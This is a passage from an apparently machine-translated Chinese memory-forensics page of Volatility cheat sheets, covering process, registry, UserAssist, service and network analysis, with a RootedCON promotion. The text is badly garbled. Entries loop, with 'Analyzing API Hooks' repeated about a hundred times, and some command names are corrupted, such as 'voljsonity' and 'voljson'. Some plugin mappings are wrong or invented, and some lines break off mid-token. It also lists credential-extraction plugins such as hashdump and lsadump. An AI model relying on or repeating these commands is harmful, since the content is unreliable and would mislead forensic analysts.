  * `volatility -f <memory_dump> --profile=<profile> sessions`
* **Analyzing Printers**
  * `volatility -f <memory_dump> --profile=<profile> printers`
* **Analyzing Shimcache**
  * `volatility -f <memory_dump> --profile=<profile> shimcache`
* **Analyzing Shellbags**
  * `volatility -f <memory_dump> --profile=<profile> shellbags`
* **Analyzing MFT**
  * `volatility -f <memory_dump> --profile=<profile> mftparser`
* **Analyzing TrueCrypt Keys**
  * `volatility -f <memory_dump> --profile=<profile> truecryptmaster`
* **Analyzing Bitlocker Keys**
  * `volatility -f <memory_dump> --profile=<profile> bitlockermemory`
* **Analyzing LUKS Keys**
  * `volatility -f <memory_dump> --profile=<profile> luksmeta`
* **Analyzing Chrome Extensions**
  * `volatility -f <memory_dump> --profile=<profile> chromehistory`
* **Analyzing Firefox Extensions**
  * `volatility -f <memory_dump> --profile=<profile> firefoxhistory`
* **Analyzing IE History**
  * `volatility -f <memory_dump> --profile=<profile> iehistory`
* **Analyzing LSA Secrets**
  * `volatility -f <memory_dump> --profile=<profile> lsadump`
* **Analyzing Hashdump**
  * `volatility -f <memory_dump> --profile=<profile> hashdump`
* **Analyzing User Assist**
  * `volatility -f <memory_dump> --profile=<profile> userassist`
* **Analyzing Shellbags**
  * `volatility -f <memory_dump> --profile=<profile> shellbags`
* **Analyzing MBR**
  * `volatility -f <memory_dump> --profile=<profile> mbrparser`
* **Analyzing VBR**
  * `volatility -f <memory_dump> --profile=<profile> vbrparser`
* **Analyzing Registry Hives**
  * `volatility -f <memory_dump> --profile=<profile> hivelist`
* **Dumping Registry Hive**
  * `volatility -f <memory_dump> --profile=<profile> printkey -o <offset>`
* **Analyzing User Profiles**
  * `volatility -f <memory_dump> --profile=<profile> userprofiles`
* **Analyzing PEB**
  * `volatility -f <memory_dump> --profile=<profile> peb`
* **Analyzing Threads**
  * `volatility -f <memory_dump> --profile=<profile> threads`
* **Analyzing Vad Trees**
  * `volatility -f <memory_dump> --profile=<profile> vaddump`
* **Analyzing Handles**
  * `volatility -f <memory_dump> --profile=<profile> handles`
* **Analyzing Mutants**
  * `volatility -f <memory_dump> --profile=<profile> mutantscan`
* **Analyzing Yara Rules**
  * `volatility -f <memory_dump> --profile=<profile> yarascan`
* **Analyzing API Hooks**
  * `volatility -f <memory_dump> --profile=<profile> apihooks`
* **Analyzing SSDT**
  * `volatility -f <memory_dump> --profile=<profile> ssdt`
* **Analyzing GDT**
  * `volatility -f <memory_dump> --profile=<profile> gdt`
* **Analyzing IDT**
  * `volatility -f <memory_dump> --profile=<profile> idt`
* **Analyzing LDR Modules**
  * `volatility -f <memory_dump> --profile=<profile> ldrmodules`
* **Analyzing Handles**
  * `volatility -f <memory_dump> --profile=<profile> handles`
* **Analyzing Vad Trees**
  * `volatility -f <memory_dump> --profile=<profile> vaddump`
* **Analyzing User Handles**
  * `volatility -f <memory_dump> --profile=<profile> userhandles`
* **Analyizing Privileges**
  * `volatility -f <memory_dump> --profile=<profile> privs`
* **Analyzing Privilege Rights**
  * `volatility -f <memory_dump> --profile=<profile> privs`
* **Analyzing Kernel Hooks**
  * `volatility -f <memory_dump> --profile=<profile> kdbgscan`
* **Analyzing Callbacks**
  * `volatility -f <memory_dump> --profile=<profile> callbacks`
* **Analyzing GDI Tables**
  * `volatility -f <memory_dump> --profile=<profile> gditimers`
* **Analyzing GDI Shared Handles**
  * `volatility -f <memory_dump> --profile=<profile> gdiview`
* **Analyzing GDI Objects**
  * `volatility -f <memory_dump> --profile=<profile> gdiobjects`
* **Analyzing Atom Tables**
  * `volatility -f <memory_dump> --profile=<profile> atomscan`
* **Analyzing Desktops**
  * `volatility -f <memory_dump> --profile=<profile> desktops`
* **Analyzing Windows Stations**
  * `volatility -f <memory_dump> --profile=<profile> windows`
* **Analyzing Sessions**
  * `volatility -f <memory_dump> --profile=<profile> sessions`
* **Analyizing Printers**
  * `volatility -f <memory_dump> --profile=<profile> printers`
* **Analyzing Shimcache**
  * `volatility -f <memory_dump> --profile=<profile> shimcache`
* **Analyzing Shellbags**
  * `volatility -f <memory_dump> --profile=<profile> shellbags`
* **Analyzing MFT**
  * `volatility -f <memory_dump> --profile=<profile> mftparser`
* **Analyzing TrueCrypt Keys**
  * `volatility -f <memory_dump> --profile=<profile> truecryptmaster`
* **Analyzing Bitlocker Keys**
  * `volatility -f <memory_dump> --profile=<profile> bitlockermemory`
* **Analyzing LUKS Keys**
  * `volatility -f <memory_dump> --profile=<profile> luksmeta`
* **Analyzing Chrome Extensions**
  * `volatility -f <memory_dump> --profile=<profile> chromehistory`
* **Analyzing Firefox Extensions**
  * `volatility -f <memory_dump> --profile=<profile> firefoxhistory`
* **Analyzing IE History**
  * `volatility -f <memory_dump> --profile=<profile> iehistory`
* **Analyzing LSA Secrets**
  * `volatility -f <memory_dump> --profile=<profile> lsadump`
* **Analyzing Hashdump**
  * `volatility -f <memory_dump> --profile=<profile> hashdump`
* **Analyzing User Assist**
  * `volatility -f <memory_dump> --profile=<profile> userassist`
* **Analyzing Shellbags**
  * `volatility -f <memory_dump> --profile=<profile> shellbags`
* **Analyzing MBR**
  * `volatility -f <memory_dump> --profile=<profile> mbrparser`
* **Analyzing VBR**
  * `volatility -f <memory_dump> --profile=<profile> vbrparser`
* **Analyzing Registry Hives**
  * `volatility -f <memory_dump> --profile=<profile> hivelist`
* **Dumping Registry Hive**
  * `volatility -f <memory_dump> --profile=<profile> printkey -o <offset>`
* **Analyzing User Profiles**
  * `volatility -f <memory_dump> --profile=<profile> userprofiles`
* **Analyzing PEB**
  * `volatility -f <memory_dump> --profile=<profile> peb`
* **Analyzing Threads**
  * `volatility -f <memory_dump> --profile=<profile> threads`
* **Analyzing Vad Trees**
  * `volatility -f <memory_dump> --profile=<profile> vaddump`
* **Analyzing Handles**
  * `volatility -f <memory_dump> --profile=<profile> handles`
* **Analyzing Mutants**
  * `volatility -f <memory_dump> --profile=<profile> mutantscan`
* **Analyzing Yara Rules**
  * `volatility -f <memory_dump> --profile=<profile> yarascan`
* **Analyzing API Hooks**
  * `volatility -f <memory_dump> --profile=<profile> apihooks`
* **Analyzing SSDT**
  * `volatility -f <memory_dump> --profile=<profile> ssdt`
* **Analyzing GDT**
  * `volatility -f <memory_dump> --profile=<profile> gdt`
* **Analyzing IDT**
  * `volatility -f <memory_dump> --profile=<profile> idt`
* **Analyizing LDR Modules**
  * `volatility -f <memory_dump> --profile=<profile> ldrmodules`
* **Analyzing Handles**
  * \`volatility -f \<memory\_dump> --profile=\<profile

```bash
strings file.dmp > /tmp/strings.txt
volatility -f /tmp/file.dmp windows.strings.Strings --string-file /tmp/strings.txt

volatility -f /tmp/file.dmp --profile=Win81U1x64 memdump -p 3532 --dump-dir .
strings 3532.dmp > strings_file
```

它还允许使用yarascan模块在进程内搜索字符串：

```bash
./vol.py -f file.dmp windows.vadyarascan.VadYaraScan --yara-rules "https://" --pid 3692 3840 3976 3312 3084 2784
./vol.py -f file.dmp yarascan.YaraScan --yara-rules "https://"
```

### Volatility Cheat Sheet

#### Basic Commands

* **Image Identification**
  * `volatility -f <memory_dump> imageinfo`
* **Listing Processes**
  * `volatility -f <memory_dump> --profile=<profile> pslist`
* **Dumping a Process**
  * `volatility -f <memory_dump> --profile=<profile> memdump -p <pid> -D <output_directory>`
* **Listing Network Connections**
  * `volatility -f <memory_dump> --profile=<profile> connections`
* **Dumping a File**
  * `voljsonity -f <memory_dump> --profile=<profile> dumpfiles -Q <address_range> -D <output_directory>`

#### Advanced Commands

* **Detecting Hidden Processes**
  * `volatility -f <memory_dump> --profile=<profile> psxview`
* **Analyzing Registry**
  * `volatility -f <memory_dump> --profile=<profile> printkey -K <registry_key>`
* **Extracting DLLs**
  * `volatility -f <memory_dump> --profile=<profile> dlldump -p <pid> -D <output_directory>`
* **Analyzing Drivers** json - `volatility -f <memory_dump> --profile=<profile> driverscan`
* **Identifying Sockets**
  * `volatility -f <memory_dump> --profile=<profile> sockscan`
* **Analyzing Timelime**
  * `volatility -f <memory_dump> --profile=<profile> timeliner`
* **Analyzing PSScan**
  * `volatility -f <memory_dump> --profile=<profile> psscan`
* **Analyzing Mutants**
  * `volatility -f <memory_dump> --profile=<profile> mutantscan`
* **Analyzing Handles**
  * `volatility -f <memory_dump> --profile=<profile> handles`
* **Analyzing Vad**
  * `volatility -f <memory_dump> --profile=<profile> vadinfo`
* **Analyzing Yara Rules**
  * `volatility -f <memory_dump> --profile=<profile> yarascan`
* **Analyzing API Hooks**
  * `volatility -f <memory_dump> --profile=<profile> apihooks`
* **Analyzing SSDT**
  * `volatility -f <memory_dump> --profile=<profile> ssdt`
* **Analyzing GDT**
  * `volatility -f <memory_dump> --profile=<profile> gdt`
* **Analyzing IDT**
  * `volatility -f <memory_dump> --profile=<profile> idt`
* **Analyzing LDT**
  * `volatility -f <memory_dump> --profile=<profile> ldt`
* **Analyzing User Handles**
  * `volatility -f <memory_dump> --profile=<profile> userhandles`
* **Analyzing Privileges**
  * `volatility -f <memory_dump> --profile=<profile> privs`
* **Analyzing Crashes**
  * `volatility -f <memory_dump> --profile=<profile> pslist`
* **Analyzing Kernel Modules**
  * `volatility -f <memory_dump> --profile=<profile> modscan`
* **Analyizing ImpHash**
  * `volatility -f <memory_dump> --profile=<profile> impscan`
* **Analyzing API Audit**
  * `volatility -f <memory_dump> --profile=<profile> apihooks`
* **Analyzing API Trace**
  * `volatility -f <memory_dump> --profile=<profile> apihooks`
* **Analyzing API Monitor**
  * `volatility -f <memory_dump> --profile=<profile> apihooks`
* **Analyzing API Hooks**
  * `volatility -f <memory_dump> --profile=<profile> apihooks`
* **Analyzing API Hooks**
  * `volatility -f <memory_dump> --profile=<profile> apihooks`
* **Analyzing API Hooks**
  * `volatility -f <memory_dump> --profile=<profile> apihooks`
* **Analyzing API Hooks**
  * `volatility -f <memory_dump> --profile=<profile> apihooks`
* **Analyzing API Hooks**
  * `volatility -f <memory_dump> --profile=<profile> apihooks`
* **Analyzing API Hooks**
  * `volatility -f <memory_dump> --profile=<profile> apihooks`
* **Analyzing API Hooks**
  * `volatility -f <memory_dump> --profile=<profile> apihooks`
* **Analyzing API Hooks**
  * `volatility -f <memory_dump> --profile=<profile> apihooks`
* **Analyzing API Hooks**
  * `volatility -f <memory_dump> --profile=<profile> apihooks`
* **Analyzing API Hooks**
  * `volatility -f <memory_dump> --profile=<profile> apihooks`
* **Analyzing API Hooks**
  * `volatility -f <memory_dump> --profile=<profile> apihooks`
* **Analyzing API Hooks**
  * `volatility -f <memory_dump> --profile=<profile> apihooks`
* **Analyzing API Hooks**
  * `volatility -f <memory_dump> --profile=<profile> apihooks`
* **Analyzing API Hooks**
  * `volatility -f <memory_dump> --profile=<profile> apihooks`
* **Analyzing API Hooks**
  * `volatility -f <memory_dump> --profile=<profile> apihooks`
* **Analyzing API Hooks**
  * `volatility -f <memory_dump> --profile=<profile> apihooks`
* **Analyzing API Hooks**
  * `volatility -f <memory_dump> --profile=<profile> apihooks`
* **Analyzing API Hooks**
  * `volatility -f <memory_dump> --profile=<profile> apihooks`
* **Analyzing API Hooks**
  * `volatility -f <memory_dump> --profile=<profile> apihooks`
* **Analyzing API Hooks**
  * `volatility -f <memory_dump> --profile=<profile> apihooks`
* **Analyzing API Hooks**
  * `volatility -f <memory_dump> --profile=<profile> apihooks`
* **Analyzing API Hooks**
  * `volatility -f <memory_dump> --profile=<profile> apihooks`
* **Analyzing API Hooks**
  * `volatility -f <memory_dump> --profile=<profile> apihooks`
* **Analyzing API Hooks**
  * `volatility -f <memory_dump> --profile=<profile> apihooks`
* **Analyzing API Hooks**
  * `volatility -f <memory_dump> --profile=<profile> apihooks`
* **Analyzing API Hooks**
  * `volatility -f <memory_dump> --profile=<profile> apihooks`
* **Analyzing API Hooks**
  * `volatility -f <memory_dump> --profile=<profile> apihooks`
* **Analyzing API Hooks**
  * `volatility -f <memory_dump> --profile=<profile> apihooks`
* **Analyzing API Hooks**
  * `volatility -f <memory_dump> --profile=<profile> apihooks`
* **Analyzing API Hooks**
  * `volatility -f <memory_dump> --profile=<profile> apihooks`
* **Analyzing API Hooks**
  * `volatility -f <memory_dump> --profile=<profile> apihooks`
* **Analyzing API Hooks**
  * `volatility -f <memory_dump> --profile=<profile> apihooks`
* **Analyzing API Hooks**
  * `volatility -f <memory_dump> --profile=<profile> apihooks`
* **Analyzing API Hooks**
  * `volatility -f <memory_dump> --profile=<profile> apihooks`
* **Analyzing API Hooks**
  * `volatility -f <memory_dump> --profile=<profile> apihooks`
* **Analyzing API Hooks**
  * `volatility -f <memory_dump> --profile=<profile> apihooks`
* **Analyzing API Hooks**
  * `volatility -f <memory_dump> --profile=<profile> apihooks`
* **Analyzing API Hooks**
  * `volatility -f <memory_dump> --profile=<profile> apihooks`
* **Analyzing API Hooks**
  * `volatility -f <memory_dump> --profile=<profile> apihooks`
* **Analyzing API Hooks**
  * `volatility -f <memory_dump> --profile=<profile> apihooks`
* **Analyzing API Hooks**
  * `volatility -f <memory_dump> --profile=<profile> apihooks`
* **Analyzing API Hooks**
  * `volatility -f <memory_dump> --profile=<profile> apihooks`
* **Analyzing API Hooks**
  * `volatility -f <memory_dump> --profile=<profile> apihooks`
* **Analyzing API Hooks**
  * `volatility -f <memory_dump> --profile=<profile> apihooks`
* **Analyzing API Hooks**
  * `volatility -f <memory_dump> --profile=<profile> apihooks`
* **Analyzing API Hooks**
  * `volatility -f <memory_dump> --profile=<profile> apihooks`
* **Analyzing API Hooks**
  * `volatility -f <memory_dump> --profile=<profile> apihooks`
* **Analyzing API Hooks**
  * `volatility -f <memory_dump> --profile=<profile> apihooks`
* **Analyzing API Hooks**
  * `volatility -f <memory_dump> --profile=<profile> apihooks`
* **Analyzing API Hooks**
  * `volatility -f <memory_dump> --profile=<profile> apihooks`
* **Analyzing API Hooks**
  * `volatility -f <memory_dump> --profile=<profile> apihooks`
* **Analyzing API Hooks**
  * `volatility -f <memory_dump> --profile=<profile> apihooks`
* **Analyzing API Hooks**
  * `volatility -f <memory_dump> --profile=<profile> apihooks`
* **Analyzing API Hooks**
  * `volatility -f <memory_dump> --profile=<profile> apihooks`
* **Analyzing API Hooks**
  * `volatility -f <memory_dump> --profile=<profile> apihooks`
* **Analyzing API Hooks**
  * `volatility -f <memory_dump> --profile=<profile> apihooks`
* **Analyzing API Hooks**
  * `volatility -f <memory_dump> --profile=<profile> apihooks`
* **Analyzing API Hooks**
  * `volatility -f <memory_dump> --profile=<profile> apihooks`
* **Analyzing API Hooks**
  * `volatility -f <memory_dump> --profile=<profile> apihooks`
* **Analyzing API Hooks**
  * `volatility -f <memory_dump> --profile=<profile> apihooks`
* **Analyzing API Hooks**
  * `volatility -f <memory_dump> --profile=<profile> apihooks`
* **Analyzing API Hooks**
  * `volatility -f <memory_dump> --profile=<profile> apihooks`
* **Analyzing API Hooks**
  * `volatility -f <memory_dump> --profile=<profile> apihooks`
* **Analyzing API Hooks**
  * `volatility -f <memory_dump> --profile=<profile> apihooks`
* **Analyzing API Hooks**
  * `volatility -f <memory_dump> --profile=<profile> apihooks`
* **Analyzing API Hooks**
  * `volatility -f <memory_dump> --profile=<profile> apihooks`
* **Analyzing API Hooks**
  * `volatility -f <memory_dump> --profile=<profile> apihooks`
* **Analyzing API Hooks**
  * `volatility -f <memory_dump> --profile=<profile> apihooks`
* **Analyzing API Hooks**
  * `volatility -f <memory_dump> --profile=<profile> apihooks`
* **Analyzing API Hooks**
  * `volatility -f <memory_dump> --profile=<profile> apihooks`
* **Analyzing API Hooks**
  * `volatility -f <memory_dump> --profile=<profile> apihooks`
* **Analyzing API Hooks**
  * `volatility -f <memory_dump> --profile=<profile> apihooks`
* **Analyzing API Hooks**
  * `volatility -f <memory_dump> --profile=<profile> apihooks`
* **Analyzing API Hooks**
  * `volatility -f <memory_dump> --profile=<profile> apihooks`
* **Analyzing API Hooks**
  * `volatility -f <memory_dump> --profile=<profile> apihooks`
* **Analyzing API Hooks**
  * `volatility -f <memory_dump> --profile=<profile> apihooks`
* **Analyzing API Hooks**
  * `volatility -f <memory_dump> --profile=<profile> apihooks`
* **Analyzing API Hooks**
  * `volatility -f <memory_dump> --profile=<profile> apihooks`
* **Analyzing API Hooks**
  * `volatility -f <memory_dump> --profile=<profile> apihooks`
* **Analyzing API Hooks**
  * `volatility -f <memory_dump> --profile=<profile> apihooks`
* **Analyzing API Hooks**
  * `volatility -f <memory_dump> --profile=<profile> apihooks`
* **Analyzing API Hooks**
  * `volatility -f <memory_dump> --profile=<profile> apihooks`
* **Analyzing API Hooks**
  * `volatility -f <memory_dump> --profile=<profile> apihooks`
* **Analyzing API Hooks**
  * `volatility -f <memory_dump> --profile=<profile> apihooks`
* **Analyzing API Hooks**
  * `volatility -f <memory_dump> --profile=<profile> apihooks`
* **Analyzing API Hooks**
  * `volatility -f <memory_dump> --profile=<profile> apihooks`
* **Analyzing API Hooks**
  * `volatility -f <memory_dump> --profile=<profile> apihooks`
* **Analyzing API Hooks**
  * `volatility -f <memory_dump> --profile=<profile> apihooks`
* **Analyzing API Hooks**
  * `volatility -f <memory_dump> --profile=<profile> apihooks`
* **Analyzing API Hooks**
  * `volatility -f <memory_dump> --profile=<profile> apihooks`
* **Analyzing API Hooks**
  * `volatility -f <memory_dump> --profile=<profile> apihooks`
* **Analyzing API Hooks**
  * `volatility -f <memory_dump> --profile=<profile> apihooks`
* **Analyzing API Hooks**
  * `volatility -f <memory_dump> --profile=<profile> apihooks`
* **Analyzing API Hooks**
  * `volatility -f <memory_dump> --profile=<profile> apihooks`
* **Analyzing API Hooks**
  * `volatility -f <memory_dump> --profile=<profile> apihooks`
* **Analyzing API Hooks**
  * `volatility -f <memory_dump> --profile=<profile> apihooks`
* **Analyzing API Hooks**
  * `volatility -f <memory_dump> --profile=<profile> apihooks`
* **Analyzing API Hooks**
  * `volatility -f <memory_dump> --profile=<profile> apihooks`
* **Analyzing API Hooks**
  * `volatility -f <memory_dump> --profile=<profile> apihooks`
* **Analyzing API Hooks**
  * `volatility -f <memory_dump> --profile=<profile> apihooks`
* **Analyzing API Hooks**
  * `volatility -f <memory_dump> --profile=<profile> apihooks`
* **Analyzing API Hooks**
  * `volatility -f <memory_dump> --profile=<profile> apihooks`
* **Analyzing API Hooks**
  * `volatility -f <memory_dump> --profile=<profile> apihooks`
* **Analyzing API Hooks**
  * `volatility -f <memory_dump> --profile=<profile> apihooks`
* **Analyzing API Hooks**
  * `volatility -f <memory_dump> --profile=<profile> apihooks`
* **Analyzing API Hooks**
  * `volatility -f <memory_dump> --profile=<profile> apihooks`
* **Analyzing API Hooks**
  * `volatility -f <memory_dump> --profile=<profile> apihooks`
* **Analyzing API Hooks**
  * `volatility -f <memory_dump> --profile=<profile> apihooks`
* **Analyzing API Hooks**
  * `volatility -f <memory_dump> --profile=<profile> apihooks`
* **Analyzing API Hooks**
  * `volatility -f <memory_dump> --profile=<profile> apihooks`
* **Analyzing API Hooks**
  * `volatility -f <memory_dump> --profile=<profile> apihooks`
* **Analyzing API Hooks**
  * `volatility -f <memory_dump> --profile=<profile> apihooks`
* **Analyzing API Hooks**
  * `volatility -f <memory_dump> --profile=<profile> apihooks`
* **Analyzing API Hooks**
  * `volatility -f <memory_dump> --profile=<profile> apihooks`
* **Analyzing API Hooks**
  * `volatility -f <memory_dump> --profile=<profile> apihooks`
* **Analyzing API Hooks**
  * `volatility -f <memory_dump> --profile=<profile> apihooks`
* **Analyzing API Hooks**
  * `volatility -f <memory_dump> --profile=<profile> apihooks`
* **Analyzing API Hooks**
  * `volatility -f <memory_dump> --profile=<profile> apihooks`
* **Analyzing API Hooks**
  * `volatility -f <memory_dump> --profile=<profile> apihooks`
* **Analyzing API Hooks**
  * `volatility -f <memory_dump> --profile=<profile> apihooks`
* **Analyzing API Hooks**
  * `volatility -f <memory_dump> --profile=<profile> apihooks`
* **Analyzing API Hooks**
  * `volatility -f <memory_dump> --profile=<profile> apihooks`
* **Analyzing API Hooks**
  * `volatility -f <memory_dump> --profile=<profile> apihooks`
* **Analyzing API Hooks**
  * `volatility -f <memory_dump> --profile=<profile> apihooks`
* **Analyzing API Hooks**
  * `volatility -f <memory_dump> --profile=<profile> apihooks`
* **Analyzing API Hooks**
  * `volatility -f <memory_dump> --profile=<profile> apihooks`
*

```bash
volatility --profile=Win7SP1x86_23418 yarascan -Y "https://" -p 3692,3840,3976,3312,3084,2784
```

#### UserAssist

**Windows** 在注册表中使用名为 **UserAssist keys** 的功能来跟踪您运行的程序。这些键记录每个程序被执行的次数以及上次运行的时间。

```bash
./vol.py -f file.dmp windows.registry.userassist.UserAssist
```

#### Volatility Cheat Sheet

**Basic Commands**

* **Image Identification**
  * `volatility -f <memory_dump> imageinfo`
* **Listing Processes**
  * `volatility -f <memory_dump> --profile=<profile> pslist`
* **Dumping a Process**
  * `volatility -f <memory_dump> --profile=<profile> memdump -p <pid> -D <output_directory>`
* **Listing Network Connections**
  * `volatility -f <memory_dump> --profile=<profile> connections`
* **Dumping Registry Hives**
  * `voljson -f <memory_dump> --profile=<profile> hivelist`
  * `volatility -f <memory_dump> --profile=<profile> printkey -o <offset>`

**Advanced Commands**

* **Analyzing Malware**
  * `volatility -f <memory_dump> --profile=<profile> malfind`
* **Extracting DLLs**
  * `volatility -f <memory_dump> --profile=<profile> dlldump -p <pid> -D <output_directory>`
* **Analyzing Drivers**
  * `volatility -f <memory_dump> --profile=<profile> driverscan`
* **Identifying Sockets**
  * `volatility -f <memory_dump> --profile=<profile> sockets`
* **Analyzing Timelining**
  * `volatility -f <memory_dump> --profile=<profile> timeliner`

**Plugin Options**

* **Using Specific Plugin**
  * `volatility -f <memory_dump> --profile=<profile> <plugin_name>`
* **Plugin Help**
  * `volatility --info | grep <plugin_name>`
* **Plugin Options**
  * `volatility --info | grep <plugin_name> -A <number_of_lines>`

```
volatility --profile=Win7SP1x86_23418 -f file.dmp userassist
```

​

<figure><img src="https://files.gitbook.com/v0/b/gitbook-x-prod.appspot.com/o/spaces%2F-L_2uGJGU7AVNRcqRvEi%2Fuploads%2FelPCTwoecVdnsfjxCZtN%2Fimage.png?alt=media&#x26;token=9ee4ff3e-92dc-471c-abfe-1c25e446a6ed" alt=""><figcaption></figcaption></figure>

​​​​[**RootedCON**](https://www.rootedcon.com/) 是**西班牙**最重要的网络安全活动之一，也是**欧洲**最重要的之一。作为促进技术知识的使命，这个大会是技术和网络安全专业人士在各个领域的热点交流会。

{% embed url="<https://www.rootedcon.com/>" %}

## 服务

```bash
./vol.py -f file.dmp windows.svcscan.SvcScan #List services
./vol.py -f file.dmp windows.getservicesids.GetServiceSIDs #Get the SID of services
```

在进行内存转储分析时，以下是一些常用的Volatility命令和技巧：

* **查看进程列表**：`volatility -f <memory_dump> --profile=<profile> pslist`
* **查看网络连接**：`volatility -f <memory_dump> --profile=<profile> netscan`
* **查看注册表信息**：`volatility -f <memory_dump> --profile=<profile> printkey -K <registry_key>`
* **查看文件信息**：`volatility -f <memory_dump> --profile=<profile> filescan`

记住，使用适当的插件和配置文件来确保分析的准确性和完整性。

```bash
#Get services and binary path
volatility --profile=Win7SP1x86_23418 svcscan -f file.dmp
#Get name of the services and SID (slow)
volatility --profile=Win7SP1x86_23418 getservicesids -f file.dmp
```

## 网络

```bash
./vol.py -f file.dmp windows.netscan.NetScan
#For network info of linux use volatility2
```

### Volatility Cheat Sheet

#### Basic Commands

* **Image Identification**
  * `volatility -f <memory_dump> imageinfo`
* **Listing Processes**
  * `volatility -f <memory_dump> --profile=<profile> pslist`
* **Dumping a Process**
  * `volatility -f <memory_dump> --profile=<profile> memdump -p <pid> -D <output_directory>`
* **Listing DLLs**
  * `volatility -f <memory_dump> --profile=<profile> dlllist -p <pid>`
* **Listing Sockets**
  * `voljson -f <memory_dump> --profile=<profile> sockscan`
* **Network Connections**
  * `volatility -f <memory_dump> --profile=<profile> connections`
* **Registry Analysis**
  * `volatility -f <memory_dump> --profile=<profile> hivelist`
* **Dumping Registry Hive** json- `volatility -f <memory_dump> --profile=<profile> printkey -o <offset>`
* **File Extraction**
  * `volatility -f <memory_dump> --profile=<profile> filescan | grep -i <file_extension>`
* **Dumping a File**
  * `volatility -f <memory_dump> --profile=<profile> dumpfiles -Q <physical_offset> -D <output_directory>`
* **Rootkit Detection**
  * `volatility -f <memory_dump> --profile=<profile> malfind`
* **Process Tree**
  * `volatility -f <memory_dump> --profile=<profile> pstree`
* **Command History**
  * `volatility -f <memory_dump> --profile=<profile> cmdscan`
* **User Account Information**
  * `volatility -f <memory_dump> --profile=<profile> userassist`
* **Screen Capture**
  * `volatility -f <memory_dump> --profile=<profile> screenshot -D <output_directory>`
* **Kernel Drivers**
  * `volatility -f <memory_dump> --profile=<profile> driverscan`
* **Crash Dump Analysis**
  * `volatility -f <memory_dump> --profile=<profile> ldrmodules`
* **API Hooks**
  * `volatility -f <memory_dump> --profile=<profile> apihooks`
* **Detecting Hidden Processes**
  * `volatility -f <memory_dump> --profile=<profile> psxview`
* **Detecting Hidden Modules**
  * `volatility -f <memory_dump> --profile=<profile> ldrmodules`
* **Detecting Hidden Drivers**
  * `volatility -f <memory_dump> --profile=<profile> ldrmodules`
* **Detecting Hidden SSDT Hooks**
  * `volatility -f <memory_dump> --profile=<profile> ssdt`
* **Detecting Hidden IRP Hooks**
  * `volatility -f <memory_dump> --profile=<profile> irp`
* **Detecting Hidden IDT Hooks**
  * `voljson -f <memory_dump> --profile=<profile> idt`
* **Detecting Hidden TCP Ports**
  * `volatility -f <memory_dump> --profile=<profile> connscan`
* **Detecting Hidden UDP Ports**
  * `volatility -f <memory_dump> --profile=<profile> connscan`
* **Detecting Hidden Timers**
  * `volatility -f <memory_dump> --profile=<profile> timers`
* **Detecting Hidden Callbacks**
  * `volatility -f <memory_dump> --profile=<profile> callbacks`
* **Detecting Hidden Notified Routines**
  * `volatility -f <memory_dump> --profile=<profile> notifys`
* **Detecting Hidden Mutants**
  * `volatility -f <memory_dump> --profile=<profile> mutantscan`
* **Detecting Hidden Processes**
  * `volatility -f <memory_dump> --profile=<profile> psxview`
* **Detecting Hidden Services**
  * `volatility -f <memory_dump> --profile=<profile> svcscan`
* **Detecting Hidden Registry Keys**
  * `volatility -f <memory_dump> --profile=<profile> hivelist`
* **Detecting Hidden Objects**
  * `volatility -f <memory_dump> --profile=<profile> handles`
* **Detecting Hidden Files**
  * `volatility -f <memory_dump> --profile=<profile> filescan`
* **Detecting Hidden TCP Connections**
  * `volatility -f <memory_dump> --profile=<profile> connscan`
* **Detecting Hidden UDP Connections**
  * `volatility -f <memory_dump> --profile=<profile> connscan`
* **Detecting Hidden DLLs**
  * `volatility -f <memory_dump> --profile=<profile> dlllist`
* **Detecting Hidden Drivers**
  * `volatility -f <memory_dump> --profile=<profile> driverscan`
* **Detecting Hidden IRPs**
  * `volatility -f <memory_dump> --profile=<profile> irp`
* **Detecting Hidden SSDT Hooks**
  * `volatility -f <memory_dump> --profile=<profile> ssdt`
* **Detecting Hidden IDT Hooks**
  * `volatility -f <memory_dump> --profile=<profile> idt`
* **Detecting Hidden TCP Ports**
  * `volatility -f <memory_dump> --profile=<profile> connscan`
* **Detecting Hidden UDP Ports**
  * `volatility -f <memory_dump> --profile=<profile> connscan`
* **Detecting Hidden Timers**
  * `volatility -f <memory_dump> --profile=<profile> timers`
* **Detecting Hidden Callbacks**
  * `volatility -f <memory_dump> --profile=<profile> callbacks`
* **Detecting Hidden Notified Routines**
  * `volatility -f <memory_dump> --profile=<profile> notifys`
* **Detecting Hidden Mutants**
  * `volatility -f <memory_dump> --profile=<profile> mutantscan`
* **Detecting Hidden Services**
  * `volatility -f <memory_dump> --profile=<profile> svcscan`
* **Detecting Hidden Registry Keys**
  * `volatility -f <memory_dump> --profile=<profile> hivelist`
* **Detecting Hidden Objects**
  * `volatility -f <memory_dump> --profile=<profile> handles`
* **Detecting Hidden Files**
  * `volatility -f <memory_dump> --profile=<profile> filescan`
* **Detecting Hidden TCP Connections**
  * `volatility -f <memory_dump> --profile=<profile> connscan`
* **Detecting Hidden UDP Connections**
  * `volatility -f <memory_dump> --profile=<profile> connscan`
* **Detecting Hidden DLLs**
  * `volatility -f <memory_dump> --profile=<profile> dlllist`
* **Detecting Hidden Drivers**
  * `volatility -f <memory_dump> --profile=<profile> driverscan`
* **Detecting Hidden IRPs**
  * `volatility -f <memory_dump> --profile=<profile> irp`
* **Detecting Hidden SSDT Hooks**
  * `volatility -f <memory_dump> --profile=<profile> ssdt`
* **Detecting Hidden IDT Hooks**
  * `volatility -f <memory_dump> --profile=<profile> idt`
* **Detecting Hidden TCP Ports**
  * `volatility -f <memory_dump> --profile=<profile> connscan`
* **Detecting Hidden UDP Ports**
  * `volatility -f <memory_dump> --profile=<profile> connscan`
* **Detecting Hidden Timers**
  * `volatility -f <memory_dump> --profile=<profile> timers`
* **Detecting Hidden Callbacks**
  * `volatility -f <memory_dump> --profile=<profile> callbacks`
* **Detecting Hidden Notified Routines**
  * `volatility -f <memory_dump> --profile=<profile> notifys`
* **Detecting Hidden Mutants**
  * `volatility -f <memory_dump> --profile=<profile> mutantscan`
* **Detecting Hidden Services**
  * `volatility -f <memory_dump> --profile=<profile> svcscan`
* **Detecting Hidden Registry Keys**
  * `volatility -f <memory_dump> --profile=<profile> hivelist`
* **Detecting Hidden Objects**
  * `volatility -f <memory_dump> --profile=<profile> handles`
* **Detecting Hidden Files**
  * `volatility -f <memory_dump> --profile=<profile> filescan`
* **Detecting Hidden TCP Connections**
  * `volatility -f <memory_dump> --profile=<profile> connscan`
* **Detecting Hidden UDP Connections**
  * `volatility -f <memory_dump> --profile=<profile> connscan`
* **Detecting Hidden DLLs**
  * `volatility -f <memory_dump> --profile=<profile> dlllist`
* **Detecting Hidden Drivers**
